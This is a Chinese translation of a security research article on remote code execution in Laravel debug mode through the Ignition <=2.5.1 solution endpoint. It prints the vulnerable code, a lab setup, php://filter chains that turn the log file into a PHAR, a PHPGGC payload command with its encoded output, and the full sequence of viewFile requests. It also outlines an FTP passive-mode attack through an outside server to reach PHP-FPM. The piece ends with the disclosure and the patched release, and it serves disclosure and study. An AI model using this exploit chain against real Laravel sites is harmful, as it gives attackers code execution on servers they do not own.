详解Laravel <=v8.4.2调试模式:远程代码执行

secM  41天前

2020年11月底, 当我们为一个客户进行安全审计时,遇到了一个基于Laravel的网站。虽然这个网站的安全状况很好,但我们注意到它是在调试模式下运行的,因此,会显示包括堆栈跟踪在内的详尽错误信息:

 1.png

经过进一步的检查,我们发现这些堆栈跟踪信息是由Ignition生成的,而Ignition是Laravel从第6版开始默认启用的错误页面生成器。因此,在排除了其他漏洞向量之后,我们开始对这个包展开了更深入的检查。

Ignition <= 2.5.1

除了显示堆栈跟踪信息之外,Ignition还提供了相应的解决方案,即一小段代码,用以解决开发应用时可能遇到的问题。例如,如果我们在模板中使用了一个未知的变量,就会显示下面的内容:

 1.png

通过点击“Make variableOptional”按钮,我们模板中的变量{{ $username }}就会自动被{{ $username ? '' }}所替换。如果检查HTTP日志,我们就会看到被调用的端点:

 1.png

除了解决方案的类名之外,还发送了一个文件路径和一个我们要替换的变量名。这看起来非常让人感兴趣。


让我们先检查一下类名的利用方法:我们可以实例化任意的类吗?

class SolutionProviderRepository implements SolutionProviderRepositoryContract

{

    ...

 

    publicfunction getSolutionForClass(string $solutionClass): ?Solution

    {

        if (!class_exists($solutionClass)) {

           return null;

        }

 

        if (!in_array(Solution::class, class_implements($solutionClass))) {

           return null;

        }

 

        returnapp($solutionClass);

    }

}

 答案是否定的:Ignition总是用我们指向的类来实现RunnableSolution。

那么,让我们仔细看看这个类。实际上,负责该操作的代码位于./vendor/facade/ignition/src/solutions/MakeViewVariableOptionalSolution.php文件中。那么,我们可以更改任意文件的内容么?

class MakeViewVariableOptionalSolution implementsRunnableSolution

{

    ...

 

    publicfunction run(array $parameters = [])

    {

        $output= $this->makeOptional($parameters);

        if($output !== false) {

           file_put_contents($parameters['viewFile'], $output);

        }

    }

 

    publicfunction makeOptional(array $parameters = [])

    {

       $originalContents = file_get_contents($parameters['viewFile']); // [1]

       $newContents = str_replace('$'.$parameters['variableName'],'$'.$parameters['variableName']." ?? ''", $originalContents);

 

       $originalTokens =token_get_all(Blade::compileString($originalContents)); // [2]

       $newTokens = token_get_all(Blade::compileString($newContents));

 

       $expectedTokens = $this->generateExpectedTokens($originalTokens,$parameters['variableName']);

 

        if($expectedTokens !== $newTokens) { // [3]

           return false;

        }

 

        return$newContents;

    }

 

    protectedfunction generateExpectedTokens(array $originalTokens, string $variableName):array

    {

       $expectedTokens = [];

        foreach($originalTokens as $token) {

           $expectedTokens[] = $token;

            if($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {

               $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];

               $expectedTokens[] = [T_COALESCE, '??', $token[2]];

               $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];

               $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''",$token[2]];

            }

        }

 

        return$expectedTokens;

    }

 

    ...

}

这段代码比我们预想的要复杂一些:它会在读取给定的文件路径[1]后,将$variableName替换为$variableName ?? '',初始文件和新文件都将被标记化[2]。如果我们的代码结构没有发生超出预期的变化,文件将被替换为新的内容。否则,makeOptional将返回false[3],新文件将不会被写入。因此,我们无法使用variableName做太多事情。

剩下的唯一输入变量就是viewFile。如果我们对variableName和它的所有用法进行抽象,我们最终会得到下面的代码片段:

$contents =file_get_contents($parameters['viewFile']);

file_put_contents($parameters['viewFile'], $contents);

所以,我们将要把viewFile的内容写回viewFile中,并且没有做任何修改。这相当于什么都没有做!

搭建实验环境

我们提出了两种解决方案,如果您想在本文的其余部分之前自己先尝试一下的话,下面给出搭建实验环境的命令:

$ git clone https://github.com/laravel/laravel.git

$ cd laravel

$ git checkout e849812

$ composer install

$ composer require facade/ignition==2.5.1

$ php artisan serve

将日志文件转换为PHAR

PHP包装器:修改文件

到目前为止,大家可能都听说过Orange Tsai演示的上传进度技术。该技术利用php://filter在返回文件之前修改其内容。借助于该技术,我们就可以通过漏洞利用原语来转换文件的内容:

$ echo test | base64 | base64 > /path/to/file.txt

$ cat /path/to/file.txt

ZEdWemRBbz0K

 

$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';

# Reads /path/to/file.txt, base64-decodes it, returnsthe result

$contents = file_get_contents($f);

# base64-decodes $contents, then writes the result to/path/to/file.txt

file_put_contents($f, $contents);

 

$ cat /path/to/file.txt

test

我们已经改变了文件的内容!遗憾的是,这将会应用两次转换。阅读文档后,我们找到了只进行一次转换的方法:

# To base64-decode once, use:

$f ='php://filter/read=convert.base64-decode/resource=/path/to/file.txt';

# OR

$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';

坏字符甚至都会被忽略:

$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' >/path/to/file.txt

 

$f ='php://filter/read=convert.ba se64-decode|convert.base64-decode/resource=/path/to/file.txt';

$contents = file_get_contents($f);

file_put_contents($f, $contents);

 

$ cat /path/to/file.txt

test

向日志文件写入任意内容

默认情况下,Laravel的日志文件(存放PHP错误和堆栈跟踪)是存储在storage/log/laravel.log中的。下面,让我们通过尝试加载一个不存在的文件来生成一个错误, 即SOME_TEXT_OF_OUR_CHOICE:

[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE):failed to open stream: No such file or directory{"exception":"[ob ject] (ErrorException(code: 0):file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such fileor directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)

[stacktrace]

#0 [internal function]:Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError()

#1/work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75):file_get_contents()

#2/work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67):Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional()

#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19):Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run()

#4/work/pentest/laravel/laravel/vendor/laravel/fr amework/src/Illuminate/Routing/ControllerDispatcher.php(48):Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke()

[...]

#32/work/pentest/laravel/laravel/vendor/laravel/fr amework/src/Illuminate/Pipeline/Pipeline.php(103):Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}()

#33/work/pentest/laravel/laravel/vendor/laravel/fr amework/src/Illuminate/Foundation/Http/Kernel.php(141):Illuminate\\Pipeline\\Pipeline->then()

#34/work/pentest/laravel/laravel/vendor/laravel/fr amework/src/Illuminate/Foundation/Http/Kernel.php(110):Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter()

#35/work/pentest/laravel/laravel/public/index.php(52):Illuminate\\Foundation\\Http\\Kernel->handle()

#36 /work/pentest/laravel/laravel/server.php(21):require_once('/work/pentest/l...')

#37 {main}

"}

太棒了,我们可以向文件中注入(几乎)任意的内容了。理论上讲,我们可以使用Orange发明的技术将日志文件转换为有效的PHAR文件,然后,使用phar://包装器来运行序列化的代码。遗憾的是,这实际上是行不通的,并且原因有很多。

base64-decode链暴露出的局限性

我们在前面说过,当对一个字符串进行ba se64-decoding处理时,PHP会忽略任何坏字符。这通常是正确的,但是有一个字符除外,即=。如果你使用ba se64-decode过滤一个中间含有字符=的字符串,PHP将产生一个错误,并且不会返回任何内容。

如果我们能控制整个文件,那就好了。然而,我们注入到日志文件中的文本只是其中很小的一部分。它不仅有一个不算很大的前缀(日期),还有一个臃肿的后缀(堆栈跟踪)。此外,我们注入的文本还出现了两次!

下面是另一件可怕的事情:

php > var_dump(base64_decode(base64_decode('[2022-04-3023:59:11]')));

string(0) ""

php >var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));

string(1) "2"

根据日期的不同,对前缀进行两次解码时,会得到不同大小的结果。当我们对它进行第三次解码时,在第二种情况下,我们的payload将以2作为前缀,从而需要改变base64消息的对齐方式。

为了使其正常运行,我们必须为每个目标建立一个新的payload,因为堆栈跟踪中包含绝对文件名;并且,每秒都需要建立一个新的payload,因为前缀中包含时间。并且,只要有一个字符=需要进行base64-decode处理,仍然会面临失败。

因此,我们回到PHP文档中寻找其他类型的过滤器。

对输入进行编码处理

让我们回顾一下,日志文件包含以下内容:

[previous log entries]

[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

遗憾的是,我们已经了解到,如果滥用base64-decode的话,可能会在某个时候失败。现在,让我们来利用这一点:如果我们滥用它,将发生解码错误,日志文件将被清除!这样,我们触发的下一个错误将单独存在于日志文件中:

[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

现在,我们又回到了最初的问题上:保留一个payload并删除其余的。幸运的是,php://filter并不限于base64操作。例如,我们可以用它来转换字符集,下面是从UTF-16到UTF-8的转换:

echo -ne '[Some prefix]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' >/tmp/test.txt

php > echofile_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt'); 卛浯⁥牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯⁥畳晦硩崠

这真是太好了:我们的payload还在那里,安全无恙,只是前缀和后缀变成了非ASCII字符。然而,在日志条目中,我们的payload出现了两次,而不是一次。我们需要去掉第二个。

由于每个UTF-16字符占用两个字节,所以,我们可以通过在PAYLOAD的第二个实例的末尾增加一个字节,来使其无法对齐:

echo -ne '[Some prefix]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' >/tmp/test.txt

php > echofile_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt'); 卛浯⁥牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯⁥畳晦硩崠

这样做的好处是,前缀的对齐方式不再重要:如果前缀大小相等,第一个payload将被正确解码;否则的话,第二个payload就会被正确解码。

如果将上面的发现与前面的base64-decoding结合起来,就能够对我们想要的任何东西进行编码:

$ echo -n TEST! | ba se64 | sed -E 's/./\0\\0/g'

V\0E\0V\0T\0V\0C\0E\0=\0

$ echo -ne '[Some prefix]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' >/tmp/test.txt

 

php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.ba se64-decode/resource=/tmp/test.txt');

TEST!

说到对齐,如果日志文件本身不是2字节对齐的,转换过滤器将如何处理?

PHP Warning:  file_get_contents(): iconv stream filter("utf16le"=>"utf-8"): invalid multibyte sequence in phpshell code on line 1

这又是一个问题。不过,我们可以借助两个payload来轻松地解决这个问题:一个是无害的payload A,另一个是具有攻击性的payload B,具体如下所示:

[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]

[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]

由于这里前缀、中缀和后缀都存在两份,还提供了payload_a和payload_b,所以,日志文件的大小必然是偶数,从而避免了错误的发生。

最后,我们还要解决最后一个问题:我们使用NULL字节将payload的字节从一个填充为两个。在PHP中试图加载一个带有NULL字节的文件时,会生成以下错误:

PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string givenin php shell code on line 1

因此,我们将无法在错误日志中注入带有NULL字节的payload。幸运的是,最后一个过滤器可以帮到我们,它就是convert.quoted-printable-decode。

我们可以使用=00对NULL字节进行编码。

下面是我们最终的转换链:

viewFile:php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.ba se64-decode/resource=/path/to/storage/logs/laravel.log

完整的漏洞利用过程

创建一个PHPGGC payload,并对其进行编码:

php -d'phar.readonly=0' ./phpggc monolog/rce1 systemid --phar phar -o php://output | ba se64 -w0 | sed -E 's/./\0=00/g'

U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00

清空日志(x10):

viewFile:php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

创建第一个日志条目,用于对齐:

viewFile: AA

创建带有payload日志条目:

viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00

通过我们的过滤器将日志文件转换为有效的PHAR:

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log

启动PHAR的反序列化过程:

viewFile: phar:///path/to/storage/logs/laravel.log

结果:

 1.png

下面是一个exploit:

 1.png

在本地环境下确认了攻击的效果后,我们立即在目标上进行了测试,但并没有成功,因为日志文件具有一个不同的名字。我们花了几个小时试图猜出其名字,但是没有成功,于是我们采用了另一种攻击方式:也许应该提前检查一下。

利用FTP与PHP-FPM进行交互

由于我们可以运行file_get_contents来查找任何东西,因此,可以通过发送HTTP请求来扫描常用端口。结果发现,PHP-FPM似乎正在侦听端口9000。

众所周知,如果我们能向PHP-FPM服务发送一个任意的二进制数据包,就可以在机器上执行代码。这种技术经常与gopher://协议结合使用,curl支持gopher://协议,但PHP却不支持。

另一个已知的允许通过TCP发送二进制数据包的协议是FTP,更准确的说是该协议的被动模式:如果一个客户端试图从FTP服务器上读取一个文件(或写入),服务器会通知客户端将文件的内容读取(或写)到一个特定的IP和端口上。而且,这里对这些IP和端口没有进行必要的限制。例如,服务器可以告诉客户端连接到自己的一个端口,如果它愿意的话。

现在,如果我们尝试使用viewFile=ftp://evil-server.lexfo.fr/file.txt来利用这个漏洞,会发生以下情况:

file_get_contents()连接到我们的FTP服务器,并下载file.txt。

file_put_contents()连接到我们的FTP服务器,并将其上传回file.txt。

您可能已经知道这是怎么回事:我们将使用FTP协议的被动模式让file_get_contents()在我们的服务器上下载一个文件,当它试图使用file_put_contents()把它上传回去时,我们将告诉它把文件发送到127.0.0.1:9000。

这样,我们就可以向PHP-FPM发送一个任意的数据包,从而执行代码。

利用这种方法,在我们的目标上成功地利用了该漏洞。

小结

PHP总是充满了惊喜:没有任何其他语言能用同样的两行代码产生这些漏洞(当然,公平地说,Perl只用一行就能搞定)。

我们在2020年11月16日在GitHub上向Ignition的维护者报告了这个漏洞,并提交了一个补丁。第二天,该团队就发布了一个新的版本(2.5.2)。由于它是Laravel的require-dev依赖项,因此我们希望在此日期之后安装的每个实例都是安全的。

本文由secM整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.ambionics.io/blog/laravel-debug-rce

最新评论

昵称
邮箱
提交评论